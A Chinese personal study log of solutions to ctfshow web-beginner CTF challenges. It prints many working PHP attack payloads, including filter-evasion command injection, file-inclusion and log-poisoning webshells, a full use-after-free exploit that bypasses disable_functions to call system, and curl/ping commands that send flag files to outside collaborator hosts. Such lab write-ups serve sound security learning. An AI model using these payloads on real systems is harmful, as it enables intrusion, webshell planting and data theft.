ctfshow web入门刷题记录(更新中)

文章目录

信息搜集

web6

源码泄露判断方法参考
https://blog.csdn.net/2301_81105268/article/details/138194467

web7

.git 源码泄露,这题不能用scrabble,要用dirsearch扫
ctfhub上可以用scrabble(kali中运行)

scrabble --help
./scrabble url

web11

域名解析隐藏信息
http://www.jsons.cn/nslookup/

web14

editor文件编辑器
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
根据提示,泄露重要(editor)的信息 直接在url后面添加/editor 然后查看flag路径并且访问
所以我们直接url/editor进去,发现是一个编辑器,选择插入文件,
这时候它就会自动打开非本地的文件目录(目录遍历)
按一般思路flag一般都是在var/www/html中的,文件夹里有一个叫nothinghere的,
打开它即可发现flag存放处,这个时候我们复制路径nothinghere/fl000g.txt替换掉原来的url后缀回车即可得到flag。

web16

php探针:/tz.php
考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、
内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,
然后查看phpinfo搜索flag

爆破

web21

bp爆破
https://blog.csdn.net/p36273/article/details/131043846

web22

域名爆破可以用站长工具的子域名查询
https://tool.chinaz.com/

web23

import hashlib
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for a in dic:
    for b in dic:
        t=a+b

        m=hashlib.md5(t.encode('utf-8')).hexdigest()

        if m[1]==m[14]==m[17] and ord(m[1])>=48 and ord(m[1])<=57:
            if ord(m[14])>=48 and ord(m[14])<=57 and ord(m[17])>=48 and ord(m[17])<=57 and ord(m[31])>=48 and ord(m[31])<=57:
                if (int(m[1])+int(m[14])+int(m[17]))//int(m[1])==int(m[31]):
                    print(t)
        else:
            continue

t=3j

web24

伪随机
mt_srand()确定随机数种子
mt_rand(min,max)返回min到max中的随机数

<?php
mt_srand(372619038);
echo intval(mt_rand());
?>

web25

php_mt_seed的使用

./php_mt_seed 428471650

参数是第一次生成的随机数,按照php版本号选择对应种子,然后执行以下代码

<?php
mt_srand(3892673489);
echo mt_rand();
echo ("\n");
$rand1=mt_rand();
$rand2=mt_rand();
echo ($rand1+$rand2);
?>

命令执行

web30

php执行系统命令(https://www.php.cn/faq/298828.html)
linux通配符(https://www.cnblogs.com/ysuwangqiang/p/11364173.html)

web31

%09绕过空格过滤

web32

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是sdellone的payload
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是我的payload

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用:

1.首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
2.然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
3.后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
4.在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞

web37

文件包含,include函数会直接执行所包含文件中的代码,主要payload:
https://blog.csdn.net/qq_58528311/article/details/134974938
http://www.360doc.com/content/22/1219/22/77981587_1060841289.shtml
https://blog.csdn.net/Hasur/article/details/136518635
php伪协议跟文件包含

web39

传入c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=时实际执行:

include("data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=.php");

所有没有回显

web40

查看当前目录

c=var_dump(scandir(pos(localeconv())));

获取flag

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

eval()函数命令执行,url编码有256个,通过‘|’运算构造被过滤的字符,然后再构造命令,脚本见"E:\CTF\ctf解码工具+脚本管理\ctfshow_web41_eval\eval.py"

web42

linux注释符#
Windows注释符::

Linux多条命令链接&&、||、;、$()、``、%0a、%0d
Windows多条命令链接&&、||、%0a

linux空格绕过:%09、$IFS 9 、 9、 9{IFS}、{cat,flag.txt}、cat<flag.txt
windows空格绕过:可以通过截取变量 %ProgramFiles:~10,1%

web47

可以用如下命令(在ctfshow中试了下这题不太可行,其他可以)

nl<fla''g.php||

nl命令说明 https://blog.csdn.net/JustDI0209/article/details/136563364

web52

黑名单关键字绕过

ca\t fla''g.php
cat fla?.php
cat f*
type f* //windows
a=c;b=at;c=he;d=llo;$a$b ${c}${d}//linux

web53

ctf查看文件的命令 https://www.cnblogs.com/IFS-/p/17580701.html
或者/bin/ca?${IFS}???.???

web55

Linux通配符大全 https://www.jianshu.com/p/8bea54b5b495
无字母数字的命令执行(ctfshow web入门 55) https://blog.csdn.net/qq_46091464/article/details/108513145
脚本见文件夹
通过. 执行sh命令,上传文件一般在/tmp/php???一般后面的6个字符是随机生成的有大小写。传入参数

c=.%20/???/????????[@-[]

web57

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"		# -1
payload = get_reverse_number.format(negative_one*37)
print(payload)

原理:通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36

web58

system,passthru,exec等系统执行命令被过滤时可用

echo(implode("--",scandir("/"))); 查看文件内容
var_export(scandir('/'));
var_dump(scandir("/"));
print_r(scandir("/"));#等于ls /
var_export(glob('/*'));#scandir被禁用的情况用
print_r(scandir(dirname('FILE')));#等于ls
highlight_file("flag.php");
include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
show_source('flag.php');
include("flag.php");echo $flag;
readgzfile("/flag.txt");

还可以使用无参数读取 
show_source(array_rand(array_flip(scandir(getcwd())))) #array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 多post几次就出来了,也可以指定读取,网上自查
import requests

url = 'https://8138081d-813c-4944-9c04-5cf73940e345.challenge.ctf.show/'

data={'c':'print_r(scandir(dirname('FILE')));'}

data1 = {'c':'var_dump(scandir("/"));'}

data6 = {'c':'highlight_file('flag.php');'}

data2= {'c':'show_source('flag.php');'}

data3={'c':'print_r(scandir('../../..'));'}

data4 = {'c': 'include($_POST[w]);', 'w': 'php://filter/convert.base64-encode/resource=../../../flag.txt'}

data5 = {'c':'highlight_file('../../../flag.txt');'}

data7 = {'c':'readgzfile('/flag.txt');'}

response = requests.post(url, data=data7)#修改data参数 print(response.text)

web71

$s = ob_get_contents();
ob_end_clean();

代码会劫持缓冲区并清空缓冲区,但不输出内容

ob_flush();//可以在劫持缓冲区之前就将缓冲区内容送出
exit();
die();//也可以执行这两条命令提前退出

web72

稍微了解了一下,发现题目执行了open_basedir限制和disable_functions限制
disable_functions是规定了禁用的函数
open_basedir是php.ini的一个配置选项,用来规定用户可以访问的区域,也就是目录。
glob可以遍历目录,并且不受disable_functions的限制。

先用如下命令便利根目录:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
//或者
c=$a ="glob:///*"; if($b = opendir($a)){ while( ($file = readdir($b)) !== false ){ echo "filename:".$file."\n"; } closedir($b); }exit; 

因为open_basedir限制访问,然后用uaf绕过,代码没看懂,payload是代码直接作参数传入

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

web75

和web72一样列出根目录下所有文件
然后执行

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

用了mysql的load_file 函数

也可以

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

PHP>=7.4 FFI利用

c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a);readgzfile("1.txt");exit; ?>

命令执行无回显

HTTP通道、DNS通道外带命令
利用&&||的惰性时间盲注
写入文件二次返回,例如">"重定向

文件包含

web78

文件包含系列开始

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是sdellone的payload
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是我的payload

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用:

1.首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
2.然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
3.后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
4.在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞

文件包含,include函数会直接执行所包含文件中的代码,主要payload:
https://blog.csdn.net/qq_58528311/article/details/134974938
http://www.360doc.com/content/22/1219/22/77981587_1060841289.shtml
https://blog.csdn.net/Hasur/article/details/136518635
php伪协议跟文件包含

php://filter/convert.base64-encode/resource=flag.php
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==  #<?php phpinfo();?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg0K   #<?php system('tac flag.php');?>

php://input 并提交请求体数据为:<?php system('tac flag.php');?>


日志包含(推荐,伟大无需多言)

?file=../../../../var/log/nginx/access.log
ua里写入<?php eval($_POST[a]); ?>
可以先ls,没回显加` `试试
然后POST:a=system("tac flag.php");//或者tail

web82

session及其反序列化、条件竞争、文件包含
详解利用session进行文件包含

通过phpinfo的信息可以获取到session的存储位置,session.save_path

Session文件包含漏洞传马

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

总结一下,就是通过当浏览器第一次向服务端发请求时,服务器会生成sessionid和以这个sess_sessionid命名的文件,
文件内容就是预设的session前缀、session值以及session创建信息(时间等),然后可以把session值设为恶意命令,
include这个文件就会构成文件包含漏洞。

至于条件竞争,是因为当session.upload_progress.cleanup的值为on时,即使上传文件,
但是上传完成之后文件内容会被清空,利用Python的多线程,进行条件竞争。

web87

ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法

死亡函数绕过的几种类型

其中碰到file_put_contents($content,"<?php exit();".$content);时可以

php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php

然后访问shell.php
具体题目可以看看 CDUT贺春杯web全wp(do or die),[ctfshow]2022 新春欢乐赛 wp,SICTF2024#ROUND4(die for now)

详细解释

注意:
由于urlcode函数存在,需要对file二次url编码
由于<,>等字符在base64解码时会被过滤。可以对文件内容进行base64编码,在读取文件的时候进行base64编码,绕过die(),
为了保证传入内容的解码正确,需要前面命令过滤后剩余字符为4的倍数

一种思路(可行的,在web117能用,这题用需要微小改动)

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST:contents=?<hp pe@av(l_$EG[T]1;)>?
shell.php?1=system('cat f*');

php特性

web89

// intval 转换数组类型时 不关心数组中的内容 只判断数组中有没有元素

// 空数组 返回 0

// 非空数组 返回 1

//preg_match当检测的变量是数组的时候会报错并返回0。

web90

intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。

intval绕过技巧

web91

正则匹配/i忽略大小写,/m多行模式

web96


?u=./flag.php

?u=/var/www/html/flag.php

?u=php://filter/read=string.rot13/resource=flag.php

?u=php://filter/read=convert.base64-encode/resource=flag.php

?u=/var/www/html/flag.php

web99

in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同

这里缺少第三个参数,会进行类型转换

web100

这里呢=的优先级是比and跟or高的,and运算时v0已经计算完毕了

$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
/?v1=1&v2=system("tac f*")?>&v3=;
?v1=1&v3=);&v2=var_dump(get_class_vars #eval(var_dump(get_class_vars('ctfshow')););

web101

建立反射类payload:
?v1=1&v2=echo new Reflectionclass&v3=;

执行的命令相当于echo(new ReflectionClass($ctfshow);)

web102

利用hex2bin构造<?=`cat *`;命令,以base64写入文件
可以用伪协议php://filter/write=convert.base64-decode/resource=2.php

然后访问2.php查看源码
5044383959474e6864434171594473就是命令转base64后对应的十六进制数

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin

这里不可以用0x表示,可能版本问题
这里e在判断时可以视为科学计数法,对于这个版本的php来说,payload比较单一,因为必须保证转为16进制后只有e这个字母

web104

sha1及md5碰撞

aaK1STfY
SHA1:0e76658526655756207688271159624026011393
aaO8zKZF
SHA1:0e89257456677279068558073954252716165668

web105

php变量覆盖

foreach($_POST as $key => $value)将每个post参数视作键值对
$$key=$$value;实现变量覆盖
题目关键在于通过die($error);实现对$flag的输出

web108

正则表达式的^在[]里就是否定符,在外面就是匹配字符串开始位置

ereg函数存在NULL截断漏洞,ereg正则匹配,需要字母开头或结尾;
strrev逆序倒置 1、题目给出的0x36d为16进制数,十进制为877,需要字母开头或结尾的话为877a,
因为是==弱比较,可以等同于877,逆序后为a778,直接读取不行,需要加一个截断%00,截断的意思就是读到%00就不读了。

paylaod: GET:?c=a%00778

web109

php内置类绕过 https://blog.csdn.net/weixin_63231007/article/details/128664690

{使用php自带的内置方法}
{在php官方文档找到带有::__toString的后缀,这种是类,当函数将这些类当作字符串时会自动调用其中函数}
{我把带__toString的函数罗列一些出来}
CachingIterator::__toString()
DirectoryIterator::__toString
Error::__toString
Exception::__toString
pyload:
?v1= CachingIterator&v2=system(ls)
?v1= DirectoryIterator&v2=system(ls)
?v1= Error&v2=system(ls)
?v1= Exception&v2=system(ls)

web110

类FilesystemIterator可以用来遍历目录,需要一个路径参数
函数getcwd可以返回当前工作路径且不需要参数,由此可以构造payload

/?v1=FilesystemIterator&v2=getcwd

web111

利用全局变量$GLOBALS输出所有变量值

web112

php伪协议绕过is_file+highlight_file对于php伪协议的使用

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php #zip协议

还有一种解法

利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。 
payload: 【file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php】

web115

【payload:num=%0c36】
1.trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。
2.num!==36是对的,原因:强比较状态下是比较两个字符串,等于是’%0c36’和‘36’比是不是相等,肯定不相等。
3.num==36是对的。
4.函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符,%09%20都可以让is_numeric()函数为true;

web117

文件包含

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST:contents=?<hp pe@av(l_$EG[T]1;)>?
shell.php?1=system('cat f*');

web118

利用系统环境变量构造payload

${PATH:~A}${PWD:~A}${IFS}????.??? #nl flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? #bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? #bin/base64 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.??? #/bin/base64 flag.php
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? #/bin/rev flag.php

web122

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
可以用命令<A然后下一条命令中的$?就等价于1了

/bin/base64 flag.php  

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新

web126

由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。
依然是对$fl0g赋值

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

'argv'

传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

意思就是通过$_SERVER['argv']$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g'])
用+来进行分隔,此时数组中有{a[0]:'a=1',a[1]:'flag=flag_give_me'}

parse_str($a[1])会把数组解析成变量和值存储,这里就是把a[1]解析出来,所有$flag=flag_give_me

web127

$_SERVER['QUERY_STRING'];
获取当前请求的查询字符串(query string),查询字符串是 URL 中位于问号 (?) 之后的部分,通常包含一个或多个参数和值。

extract($_GET); 会将 URL 查询参数中的每个键值对转换成同名的变量。

web128

新知识:gettext 函数

php 扩展目录下如果有php_gettext.dll,就可以用 _()来代替 gettext() 函数,_() 就是gettext()的别名,常常被用来简化代码。

gettext 函数用于在 PHP 应用程序中实现国际化(i18n)和本地化(l10n),说白了就是根据当前语言环境输出翻译后的字符串
ctfshow web127-131

如何输出 $flag
get_defined_vars() 函数,该函数会返回由所有已定义变量所组成的数组

?f1=_&f2=get_defined_vars

web129

目录穿越:/ctfshow/../../../../var/www/html/flag.php

利用 filter 伪协议支持多种编码方式,而无效的编码方式就被忽略掉了

?f=php://filter/convert.iconv.utf8.utf16|ctfshow/resource=flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
//对于这段代码,为什么输入f[]=1可以绕过匹配

当输入为数组时,preg_match,stripos会返回NULL

web131

import requests

burp0_url = "http://ec810ef8-afc6-4caa-b263-31519ba6ea59.challenge.ctf.show/"
# s = '../' * 333333
# long ../ won't work, got HTTP ERROR 413
s = 'very' * 250000 + '36dctfshow'
#print(len(s))
data = dict(f=s)#data={'f':s}
ret = requests.post(burp0_url, data=data).text

print(ret)

正则表达式栈溢出,超过一定长度,正则匹配不起作用,直接返回FALSE

web132

&& ||的惰性

web133

变量覆盖+命令执行无回显

``是shell_exec();的缩写
直接传入 `$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;

然后执行 eval("`$F `;");

而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;

因此执行的是 eval("``$F `;sleep 3`"); 
`$F `;是无效命令,不执行,就会执行 sleep 3。
这里不会一直迭代复制$F的原因是PHP按值解析,而不是递归引用解析。

可以使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag
也可以用DNSlog

?F=`$F`;+curl -X POST -F xx=@flag.php  http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

参考博客:
https://blog.csdn.net/Myon5/article/details/140683567
https://blog.51cto.com/u_15878568/5859825

web135

和web133一样用bp

?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

或者cp flag.php 1.txt然后访问1.txt

web136

tee和<差不多功能,读取输入写到文件里

exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的

payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK

web138

call_user_func($_POST[‘ctfshow’]); 可以ctfshow传入数组,构成函数名和参数的传入或者是类方法的调用

web140

intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
可以任意用两个一样的函数

f1=system&f2=system
f1=usleep&f2=usleep
f1=getdate&f2=getdates
f1=md5&f2=array
f1=sha1&f2=array
f1=fopen&f2=array
f1=filesize&f2=array

web141

^\w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行

php中1-phpinfo()是可以执行的,加减乘除都可以实现(试了下好像只有-可以)

用无数字字母的命令执行脚本生成system(“cat flag.php”)

?v1=1&v2=1&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");

web143

过滤了;,那就用?>闭合

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>

web145

|多命令执行

?v1=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|&v2=1

或者三元运算符

#system('cat f*');
v1=1&v2=0&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):

取反脚本见web41

web147

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。

这里可以通过 create_function 函数来实现命令执行

用法:create_function(string $args, string $code)

$args:参数列表,用逗号分隔的参数名字符串。

$code:函数体,包含函数的实际代码。

$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123
//相当于
function f($a) {
  echo $a . "123";
}
 
f('Hello'); // 输出 Hello123,到这一步才是输出

所以这里create_function之后要用}把这个函数的第一个{闭合,然后执行自己的命令,再用//注释掉后面的}

?show=;}system('cat f*');//
POST:
ctf=%5ccreate_function

web150-plus

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息,非法字符会变成_
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
?..CTFSHOW..=phpinfo

原题其实是临时文件包含
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

文件上传

文件后缀,content-type,文件头,文件内容,配置文件

web151

写一个php文件,改后缀为png,然后上传,抓包改文件名为php再上传,然后到这个文件里去就行

web152

Content-Type是文件类型,不同的文件都会对应不同的ContentType。 PHP文件的文件类型为:application/octet-stream Png的Content-Type是image/png

据包的请求包头中,开发者会通过Content-Type判断文件是否允许上传,但是Content-Type可以通过抓包篡改,这样就可以绕过Content-Type过滤。

web153

上传配置文件.user.ini
文件上传-.user.ini的妙用

.user.ini的妙用原理

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

.user.ini中写入
auto_prepend_file=0.png或者
auto_append_file=0.png

